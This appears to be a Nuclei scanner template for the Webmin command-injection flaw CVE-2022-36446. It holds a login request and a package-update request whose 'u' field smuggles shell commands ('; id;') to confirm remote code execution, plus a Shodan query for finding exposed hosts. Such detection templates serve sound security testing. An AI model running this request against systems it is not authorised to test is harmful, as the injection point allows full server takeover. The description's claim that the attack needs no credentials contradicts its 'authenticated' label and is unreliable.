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id : CVE-2022-36446
info :
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name : Webmin <1.997 - Authenticated Remote Code Execution
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author : gy741
severity : critical
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description : |
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Webmin before 1.997 is susceptible to authenticated remote code execution via software/apt-lib.pl, which lacks HTML escaping for a UI command. An attacker can perform command injection attacks and thereby execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
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reference :
- https://medium.com/@emirpolat/cve-2022-36446-webmin-1-997-7a9225af3165
- https://www.exploit-db.com/exploits/50998
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- https://github.com/webmin/webmin/compare/1.996...1.997
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- https://nvd.nist.gov/vuln/detail/CVE-2022-36446
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classification :
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cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
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cve-id : CVE-2022-36446
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cwe-id : CWE-116
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metadata :
shodan-query : title:"Webmin"
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tags : cve2022,webmin,rce,authenticated,edb,cve
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requests :
- raw :
- |
POST /session_login.cgi HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
user={{username}}&pass={{password}}
- |
POST /package-updates/update.cgi HTTP/1.1
Host : {{Hostname}}
Referer : {{BaseURL}}/package-updates/update.cgi?xnavigation=1
mode=new&search=ssh&redir=&redirdesc=&u=0%3Becho+%27{{randstr}}%27%27{{randstr}}%27%3B+id%3B+echo+%27{{randstr}}%27%27{{randstr}}%27&confirm=Install%2BNow
cookie-reuse : true
matchers-condition : and
matchers :
- type : word
part : body
words :
- '{{randstr}}'
- 'uid'
- 'gid'
- 'groups'
condition : and
- type : status
status :
- 200
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# Enhanced by md on 2023/02/22